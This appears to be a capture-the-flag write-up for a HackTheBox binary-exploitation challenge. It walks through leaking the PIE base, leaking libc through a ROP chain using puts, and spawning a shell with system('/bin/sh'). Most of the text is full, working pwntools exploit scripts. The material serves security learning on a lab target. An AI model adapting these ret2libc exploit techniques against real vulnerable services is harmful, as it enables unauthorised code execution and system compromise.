Space pirate: Retribution
Space pirate: Retribution
Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
We got access to the Admin Panel! The last part of the mission is to change the target location of the missiles. We can probably target Draeger's HQ or some other Golden Fang's spaceships. Draeger's HQ might be out of the scope for now, but we can certainly cause significant damage to his army.
Solution Approach
Core idea: Stack-Based Exploitation. Bypass PIE protection.
Steps
- In this challenge we're given a 64 bit binary, dynamically linked, not stripped, and a libc library.
BINARY PROTECTIONS
- After decompiled the binary, it seems there's no interesting function to jump to, seems the concept here is
ret2libc. - Anyway the 2nd option should be our interest.
2nd option --> missile_launcher()
- Let us run the binary then.
Try by send \n --> got unreadable bytes (need to unpack it).
- Knowing this result, we can unpack it then format it to hex again, this should be a potential pie leak. Well this challenge is interesting, took me a while to leak the pie and calculate it correctly. Because if we leak it by sending newline, we shall have only 3/4 of the leaked PIE.
MY WAY TO GET THE FULLY LEAKED PIE
- I think my solution is kinda unintended, but if it works what can you say. So i tried by sending 7 bytes, why no 8?? Well in c language, we know our input will have \0 at the end. So 7 bytes input shall count as 8. However i tried sending 8 bytes too but resulting to no leaked pie.
SENDING 7 BYTES
GETTING PIE_BASE
CALCULATED PIE BASE - BOTH ARE EQUAL
PIE_BASE SCRIPT
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
exe = './sp_retribution'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'
library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)
sh = start()
pause()
sh.sendlineafter(b'>> ', b'2')
### sending 7 bytes remembering there's null bytes so will be exact 8.
sh.sendlineafter(b'= ', b'AAAAAAA')
### GRABBING PIE
sh.recvuntil(b'y = AAAAAAA\n')
get = sh.recvline().strip()
print('THIS IS -->',get)
leak = unpack(get.ljust(8,b'\x00'))
#print(leak)
log.success('LEAKED PIE --> %#0x', leak)
elf.address = leak - 3440
log.success('Calculated pie_base --> %#0x', elf.address)
sh.interactive()
- Now all we need is to leak the libc_puts address, then we can calculate the libc_base.
It's good knowing we have puts@got.
- There are few steps we need:
- Grab the rdi gadget, then calculate it with base address.
- get the RIP offset.
- Checks interesting function to return to (need to loop so we can grab the leaked puts@got address.
padding + rdi_gadget + puts@got + puts@plt + sym.missile_launcher
GRAB RDI & calc it with base address
rdi_gadget = elf.address + ropper_rdi
RIP Offset --> 88
LEAK LIBC SNIPPET
pop_rdi = 0x0000000000000d33
log.success('pop_rdi_gadget --> %#0x', pop_rdi)
calc_rdi = elf.address + pop_rdi
log.success('Calculated pop_rdi gadget --> %#0x', calc_rdi)
padding = 88
p = flat([
asm('nop') * padding,
calc_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.sym['main']
])
sh.sendlineafter(b':', p)
FULL SCRIPT - GRAB LIBC PUTS & CALCULATE THE LIBC_BASE
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
exe = './sp_retribution'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'
library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)
sh = start()
pause()
sh.sendlineafter(b'>> ', b'2')
### sending 7 bytes remembering there's null bytes so will be exact 8.
sh.sendlineafter(b'= ', b'AAAAAAA')
### GRABBING PIE
sh.recvuntil(b'y = AAAAAAA\n')
get = sh.recvline().strip()
print('THIS IS -->',get)
leak = unpack(get.ljust(8,b'\x00'))
#print(leak)
log.success('LEAKED PIE --> %#0x', leak)
elf.address = leak - 3440
log.success('Calculated pie_base --> %#0x', elf.address)
pop_rdi = 0x0000000000000d33
log.success('pop_rdi_gadget --> %#0x', pop_rdi)
calc_rdi = elf.address + pop_rdi
log.success('Calculated pop_rdi gadget --> %#0x', calc_rdi)
padding = 88
p = flat([
asm('nop') * padding,
calc_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.sym['main']
])
sh.sendlineafter(b':', p)
sh.recvline()
sh.recvline()
get = sh.recvline().strip()
#print('PUTS -->',get)
leaked_puts = unpack(get.ljust(8,b'\x00'))
log.success('LEAKED PUTS --> %#0x', leaked_puts)
libc.address = leaked_puts - libc.sym['puts'] #456352 --> using vmmap shall gave the same result
log.info('LIBC BASE --> %#0x', libc.address)
- Finally we just need to send our
system("/bin/sh");payload.
padding + rdi + /bin/sh\x00 + sym.system
FINAL SCRIPT
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
exe = './sp_retribution'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'
library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)
sh = start()
#pause()
sh.sendlineafter(b'>> ', b'2')
### sending 7 bytes remembering there's null bytes so will be exact 8.
sh.sendlineafter(b'= ', b'AAAAAAA')
### GRABBING PIE
sh.recvuntil(b'y = AAAAAAA\n')
get = sh.recvline().strip()
print('THIS IS -->',get)
leak = unpack(get.ljust(8,b'\x00'))
#print(leak)
log.success('LEAKED PIE --> %#0x', leak)
elf.address = leak - 3440
log.success('Calculated pie_base --> %#0x', elf.address)
pop_rdi = 0x0000000000000d33
log.success('pop_rdi_gadget --> %#0x', pop_rdi)
calc_rdi = elf.address + pop_rdi
log.success('Calculated pop_rdi gadget --> %#0x', calc_rdi)
padding = 88
p = flat([
asm('nop') * padding,
calc_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.sym['main']
])
sh.sendlineafter(b':', p)
sh.recvline()
sh.recvline()
get = sh.recvline().strip()
#print('PUTS -->',get)
leaked_puts = unpack(get.ljust(8,b'\x00'))
log.success('LEAKED PUTS --> %#0x', leaked_puts)
libc.address = leaked_puts - libc.sym['puts'] #456352 --> using vmmap shall gave the same result
log.info('LIBC BASE --> %#0x', libc.address)
pay = flat([
asm('nop') * padding,
calc_rdi,
next(libc.search(b'/bin/sh')),
libc.sym['system']
])
sh.sendlineafter(b'>>', b'2')
sh.sendlineafter(b'y =', b'')
sh.sendlineafter(b':', pay)
sh.interactive()
TEST LOCALLY - GOT SHELL!
TEST REMOTELY
- Got the flag!
Flag
REDACTED
Lessons Learned
- Stack-Based Exploitation.
- Bypass PIE protection.
- Implement ret2libc attack.